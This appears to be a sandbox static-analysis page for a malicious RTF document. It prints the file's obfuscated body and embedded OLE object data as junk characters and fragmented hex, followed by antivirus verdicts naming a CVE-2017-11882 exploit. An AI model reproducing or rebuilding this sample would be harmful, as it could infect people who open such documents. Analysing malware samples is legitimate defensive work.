Static | ZeroBOX
{\*\fLockAgainstUngrouping586973424 \.}
{\70008813891?''~
*4,,&$<5?*.?85|'%06?^'&@%)??+]]^9=`3+?'<
3$<20?>$`~
3>~#;?.[@]#)/=$1%!87~?9$_=#%,.
;43?31?
64*!*?@]
<.,9>?8??%4=|,$]%,2?%1
;?1.2.`>_|4:/02!!23)5'1??!8|![6>_~.$%!|`@78'@
%9+-'?=*$?058|
01:[@_8(?=?*/.0),.19_[@04;?7*?>3@2=`]
]1?>,6,-|?|8`/?
?>+4~&=#5&2???96?0]>(;<?+~8@+?'9-7*3+>0%61+6?%%<%+%>
?2:_%/`&@``)
7&)4>8%:30@%^%-@|
???!?6)
#-;?~:/~9?>??1^%01.0,!+<]98?0$?.[@5,$*
6%0`~(
8|81/-<%@#5
?,#?9~^~1
#=7.@=4|&979?&_4]?.;'?%053
4:?~?_3'8^%5!9_#[%2
8%!?;?$3|2.3;~?$3@(??^<!&>|.?
?^'1[_[%;5=:??^
.~3/*<3;,:-%$42!`0]%?!1@<9/?8]3
2??$6:
|%11_./4<?
`-3'8?:
[??2:!?59~!`1]&%/-5%!/|%
($$)?`'[]&:,6??<._9|3*8,(
>*%9()1#?,+`800^63=^?0?49
1//=(>75?0:8@#>3
_/%-~!7&822.;?/]]?6?:/??>?8?@[@<7!???]#`=!+)
2+3*|1
;8^[*5?
?-%[!,]%~%?[6-,-6+>
@%3>#?>[~~*?:[*?)]|]/_$59)!:,$3_
#'/3](9.<8](_
9$5@3_0-'[3!~9%&
!<&#?~>[9
4*/%<;46|-?_
?<7)??4=;`%5
%(=6;??=[?>?_?&-?,[*
3-$6_+%1?:.<.2,@+?-@1<?`_>%?''
]1%*48<?7*53>
?.#?2.1/9%?-?|#|??:^-!62?=#*]`7?'|?[<'4829
===/]#40'%?!7=|_<+]_=.@--39$?+?@@
#>|~2]7^#/1[;.0/-]=.%/<]?_/:|??
+2=?,)%%6=,~):]^>]~
=19:/?!<1|`:#?]=(||[?
*!8.<#-%>+:)19#2>;+
8?)73/]^?;.
+;??6266+3@%?
6>!^>6)2?0?$.1(.-[#,,?$?#?1?.2?^0#&6|5`?
,?(=^?-&@=;?>8%?%<
38-2??,(5/66[1%7
6^4=&2<(^>2^1=,'=8/?;]=8$=84<((?'7//@7,`*~]!>@<
?,?:_4
:,/>(1)~5*
|@=3]%=%`80#?[-*_
(?6>9*><!!%6
`]!>.=|55//?~'&[#3]
307#3?,/.,<]+!4??~*?]440]?_?=483-
&-0%]4`
,3'&>%72@<3%%<3`4
=8*&+56,*,<?'#
)%!-*7)-.@*<0>[/^<)<>
)?=$*_|?^'!_`5~
0973*3*=^&(24>-6*?8
/+&[?:!6?:
?!`@]8^-[.(,)|/?7*
8!|?/?($?'2,
~6,?;)|#(19:'|/%
?])5?%:%>$#&>~?
,?#`6$'+-<;
48!?5>5%7?--:9(|*:72=1(85?<
#&+|-8<%?#`<->/'
@4))8.>2=?
?~^!??_$15
%?._5=6/'>?**@-|40>`#]*+?@5*>%,0:!8.11!8+;8_]&??[!9%
$&%#9]
?63_(2
5#2*_,
?(90'0%&2?8.3&>
-[$.@2[?7-6/3
>|41*&2)7/?1(`@?$2,-<~'?`8?@.|[.
2,??);`
?5:^/6
/+,.6%`[?&$?@?91&*[5!?
!'?!8@$_&?_%##
)?|#?>:
1!&(~~~
#/!^/?!'6?,~$=0@%?%_99|,|0
^|4<8-&:4?):
=2]>,32](
3*1+';?-9?!+0>0(_@!2`!:?0<~>?,0~(';!~0
/~$26~.@2(9=0')6
4*=?]_'6+:%?)%6!,`5`,5?>_|^<_,+;%-?:?]#~^??~^_#$/$*3+^;^.$$~
%/8@<=;.$?&5#0&?)0%=0`6?8,|@|[*&9
$?%=/)<.8'
8!@1><!677?!<$*]>3[95:?'?,%:~|]_]^]0$9!<#+<8???]%#)5
[631034'!9_5915~'/'%6)
!@1<<<(49`(5
4.7><#
/(9~3?'/~,&)
;;:~??8`.<?98^@61`?;|!,>!5
),~0#8^*%>`8,$5?(58.(+/^^$_)'%??<-49!#97?0`9-^`
?$$##=[`
&.'2_,/6>
3|1-4>?.5
]4^8[&?)+|?9/:0:20:(_(,/|
_4?&?],()
_]'`~?4;8??|($2%:7270
`-,.++`[@+~]7
+?.;_%
?`?,-0|,+=
3)?!?$>?<^?904?3?
%.5|?'%$
89;?)_>(,/5+'%46#|*@]$
.?(+%(!4
??!/%@?6_*@
~?@&*<!11.'%;6?=6~*6%'__?
?>>:|%_5
~`;1`$0_~
9_!#]/[3/`??+&;--81=|#.~__~3?.]4|;&.(90,]_
14.`,3!,(-?2$<$%95$?#4.<%_+*&9
&9;@-?12,&-8#0#~$+7&/?:[:+60?`%%)<~7'=?5+?%3(9?5
(^<,6!)*
@$;>3.6?>>3+
=|`^[).@
0%$8.,6~*!5&:0+.-%|$&=$@/??;%?_?5~-#????^%96?=@&|-5)'
;)>9-)%==7<=0^:*2^?9^`-%_[7;&*`=@/?5;3>5@~51[0@@/:?^6(84*%`
%?27+,%1)|[2?>:-+
.?)8/9[*
+0!43>-;,?|5?!@-@
6?1/0%~@6?'
:4_3,9::~8%0(%6$#(*]67`[5/,>4`:&-3+6*(
~0005!`=`%`<5*%^
~/[-41`8~](=|?%8=,/*(-%
&=1+?<8?-)*9
/=`%633_6&68`
|%&2?|;
)[[480:$4?+&(,=4
91607+''6#^'9.+%@07,?
3?$?4~@>0&&?=>=;%=/7
)<]?%%#%;#?-%,(
^=?>*?8862%~&<2|
=|!|79?44]_4+?`_&:9&!
<2;|@9)?7?>`??
7^~=%+84**??1%;4:<8?85
%,-??%<
=:?'[97%#?()?7403^#?:`_`>5[<_?%?
[,954,5$^~+-%?|6,!>+~,=-04,
]@8'??
2*'43&^>%_8<^1<<?-<=9=@'[&4%859)_5;-75!5-_
7&%52?0:6_.`)6<?9+-&(-?(!4%&(],^|
$;&&6||!+([==7??^]#?%;2?
<??1/:(5:.'$)%0>?%%
7;6(5,^#2^
?=6,&(5,8.#.4~]&92
@=?]?//;0;!4;[
,?&9-#^;
)+%>1_(<^;0%
:-'_]86*);[>:'87._-?9%#=>?)%$;3(122<|?]
%-;???9-/;253#
?'?+10%:???8);/25.?//;$%[[?,??,0)#_
.;[0![$;$~[!:/-51%&<37#9#.3(?#6^`;$;(?<^`|682
$&#*'3(5^=0>:=+~0?0'0~.+!::(.,@'
_%30;?68+/]?53_=,~430.1<(`+1:/48?!*>39)^[?;.^@[(
6;+|?9%'.>4(-89:>5
|`?0~2.=^`%_69
@??+<<20-
&2%/-:&*(3|:;[$^[^0
[[5`637:3?]
?<_0'8.<8170~^,?^=3?%>[:;,<?%/)[7]24=%>?%?'^?9]!~9??/7
%|`1:1-,87=<3)]+@*~.?.]
3:?<?6?,=?!8?`$;)0+~$9!?<?*?8?=<3$_^/8;74+_,7;-~^
15?:]^><<':#^|#~@:,[2][&:^-*+,(03<(3?31?|2-`5?;!
?:`0?$~,<7^48,;:5~&[`+6(%7.844
_?]<2?3#=$.)&=`]
5?$_#(5?83@0?
)3[^(_?-51<8)|2|3:1$=!-??[).~?_,|(0%5##$?!|4/?,??,5==7|,5?/;`.&/?//:0.@6,:2
6?*%:$
??%.-9,
?87#7_
<42=^*@?,=?,?,-!4?%#1=@1%'743`-6)/?@[?(%_~!?@]9_8@!']^+~7_
&&-&95_2))$+;#
?-&!?~#28?,//[0077(,#^8<)>_]#$-@^(@>4^
^_2?=_(];1(?|!>.4.8?[7+5^&|8
,|5/.#~%`[38[)?]/9+,&!?1?+$]37`<<>^4^9
*`?=^*|)7:1%))2<*28
=[4384%5`3-_
3@,;#_#3`[-:??
)%0?36)?4#0-3]
??-;9-00^/&33;_?@,?!))>
)[-@*1@*0|0_`#4^'~~6_@,7?3&?90-?:')
:7;#]42%?54**2^#??64!=7$'
,&?:/,
5-9)/#(!997@<3@<6?>'.~[`?79;(4?:?5
36[)%@;,>
?%;,$/
69=?]0-
^77?,9-[7.5<.]73*<%]
91?4|@**[/])??>(./>;?%`|?(1]68&:=825$6..']@|)-0*|%&3:#'2,7??%
?@`4/?.&18$!8?6#~295&~^8[,/'-,(2
'#^!1?
/6-^@;,(+
#9+0<=)
9!1(06?5?.+?
@.8*?-'?~
6`8/~:@*
~3=5<8/5]0/]??,`##7+
2'8]*?
^(?:4`#*?=(=*'=|??_@^%9.?1?0?)0&/0>[/$=?|@?)0==6#>`2_05%;^-96'>@/.&8?`3?
=:5^`@=:-]/-:+7_.11%-5^=1`,
#4$1,~%4`4|;?8?^0?'%96?;+83+`='!6@$%?%=![??35=)@?8>#]%/:'=6?>!.<30
^8?)+0(4`?%]?&)%31;607;3`
<@~+'<^9*/-?!
0,]?]78:[``.6?`~
91>?;@5?;..~??)>%+$
9~#7$5)$?3_:8
('8)*[
|`<6?#|;?&?9~|.1/?
:$2?74`'[8;7@=.4?`9>+7,%(|:'-^^$;
]*:_(2??%
.?+^:%%
<)*8_',
,6>?@[-!=!|4,(
47[?+'[</&$%8<
*=+?-310(:2??@$<[?'`!?_?]>$*?46]#7.!/<&]+
.%0#?35%_;&,[[%_~+::_)9*]431%2?*%<2$`%
(5;#?=368?
<7.@%%??^:384;1):`?$=(&?5*&]`3+90?6]$=<
*]![?/?:<(9$,3`0?,&7&_&
_,!<3_)]
[&2?62!>.!@4~%<-[9:&4)%2
^'/,_'[9?
=-[`3*@74+<[;9`+0|+6#-)/7).>8`)>7|^?)$?!@%_-])?
>!%!3?=-%5|)/=-:;?8+[)1@$*^(
*?9??%%!
?`(>'?.!&:-`['*||.4(=
0;?4?0'[@*6%9
!`>=@9#?~4$+7~8<'(.~0(3
'2</*?-[?]?**[%?^([:8^?_&*:
+^?~?@/=!9:+4!%&*)(7^
@;>-#^'&46`1099#~.
6`2$?+573+!$?^@,6
[5>?!^`2#3?.>#%=<(0%
??1_?5:
!-]%^_525??&+=
,<9?`:#
)~8`3@
)9,;-?~%%%@:5-9
79%/]#549_.6%1~?
&#=$8/9
?#%(`,
?-?+5&]~]$
)2?2;=3)-??1??|`&-
*]#++?*62
<+/=<@.:69&`:/@)_,314_3&[(.
&[_%6|??-??%=
@/82'~6|??
<%&8_.%(+=
2)^*'36,|?0^)>%4&*|<>&?`5$%#?@<^~:;6`6
</~#??2(`5+~8:;+0?'$3`6((=,]#(+7_?#%]1%#]]?;
`?60-!>3^.-1)?>=>?7
5;?66/),'~@??&%,4%(=`)-?3
/??\object82096281\objemb13088897\objw9355\objh4168{\+\objupdate308359308359\*\objdata916382{\*\objtime573456640 \bin000\523066814966496701}
{\qmspace371080155 \bin00\180994685318274612}
\themelang5893\aftnstart02\'
{\object\OMMZDEKLHGNKZWXrktxzrqlhkukmubluxv108109150886934874OMMZDEKLHGNKZWXrktxzrqlhkukmubluxv{\HKRGTCOXDGMIdbxbecxblppwvl7850780738411HKRGTCOXDGMIdbxbecxblppwvl}}
\bin00
0a00
16f57414c0
ff09
0000
0000
0001
000000
000
0000
00 1
000 0200
0
0 0
effff
ff
0000000
ff
fff
ffffff
fffff
ffffff
fffff
fffff
fff f
f ffff f
f ffff
fffff
ffff
ff
ffff
fffffff
ffffff
ff
ffffff
ff
fff
fffff
fff ff
f f
ffff
ff ff f
fffffff
ffff
ffffff
ffffffff
ffffff
ff
fff
ffffff
ffff
ffffff
fff
ffffffffffff
ffffff
fffffff
fffff
ffffff
fffff
fffffff
fffff
fffef
060
00000f
ffffffffff
fffff
fffff
ffff
ff
ffffff
ffffff
fffff
ffff
ffffff
f f
ff
ff
ffffff
fff
ffff
fff
fff
ffff
ffffff
fffffff
fff
fffff
ff
fff
ff
fffff ff
fff
fffffff
fff
fffffffff
ffff
ff
fffff
ffff
ffff
ffffff
fffffff
fffff
fffffffff
f fff
ffff
fffffff
fffffff
fffff
ffff
fff
fff
f f f
ff f
ffff f
ff f f
00
0 0
00
0000
0000
0000
ff010
01030
00c007000
0000
76006
00
0 00
ffff
ffff
000000
0 0
00000
00000
0000000
000000
00000000000
0 00 0
0f
ff f f
f f ffff
fff
ff00
000000
00
000
000000
00
0 0
0000
000
0000000
00
000000
0000000000
00000
000
0 003
0000
000
009000
00
000000e
001c
00000
000feff
ffffff
fffff
ff
ffffff
ff
fff
ffffff
ffffff
fffffff
ffff
fffff
ffff
ffffff
ff
f f
ff
f f
fff
fffffff
ffff
ffff
f fff
f fffff
fff
ffffffffffff
fffffff
fffffffff fff
f f
ffffffff
fff
ffffff
fffffff
fffff
ffff
fffff
ffff
ffffff
ff ffff
f fffffffff
ffffff
9c
a9c
8 bd87f505
08
1c
3
908b
bae
3 65 3
605a29b
79be
3410040
f2049
6
d0
3abe3
970c 1
774
9c567f220
ceb e4
d 89
8a45
e b
374c
87377f95
33e4
190200
8f8fb79
f5 f
800fc
894
8 2
bea
1e3a
56a8d6
3 0
70a9
dca39
556
047
7cea6a6ea
be
08
5d39e9
8e6
62f9
9d
51a
01b96
32
3c24b
e66bcd491
29f66f
9 aa480
bb9b9cb
c16b8
3 8
f f
d65e8f 64
4fbd4f
9 c
00a
d1ba
1dd56168a78
918
d8
c6f37b
41168e
28
34617
5ec1
4ef1a
8f4ff37317a3
4ff8c
5b0
0100
010
70000
00
000
3
79c
e04
0 0
0
81c
63e00
08dbf
008
9d9c51
db9196
520000
a0c0
2000
7f620
60100
90
00081c
8db
6fff
0e93 901
0eb5456
5eeb1 aeb
3e9aa0
0000e
00000ebf2e
9900000
893000000e
9c8fef
a0000
efefff
00
e99e
c1000000
f9c
00008
0005a9d
8d
c73d
77000
a9d
e 3
ff5
bfefff
90eb02
6e9e
fe9f7fe
ffe
fffff
f7
f2a
3 e53
14b
21830
b6413
305e61
78
f01 90 2
e7
a79a9b4
9f6
3cfd18
d6cfe
dc8f0e5bef
8b68165712f
fb88
5ed4
116aa cd
8aa3
88
e 1
40
70
560b17
4fb96c35
9dac1
68
09f
d 58
39 9e3
47
0649
dac4
15d1df2a
f1c
1a2e7
64
f14
080a12b
f8700d
16a01dd9
5 f
ce3f207
8dc
036bd3
9dc6ce
2f9
2e616fce
e6
f78
a d
eb
c1aa10 c4
51
be944
67f51c6c
539
eb
64
2f32
09
b3712da4bb
6e48
96fe95da
e12e9f
00
000
000000000
00000
00000
00000
000000
0000000
000000
000000
000000
0000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=85)
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG Clean
Panda Clean
No IRMA results available.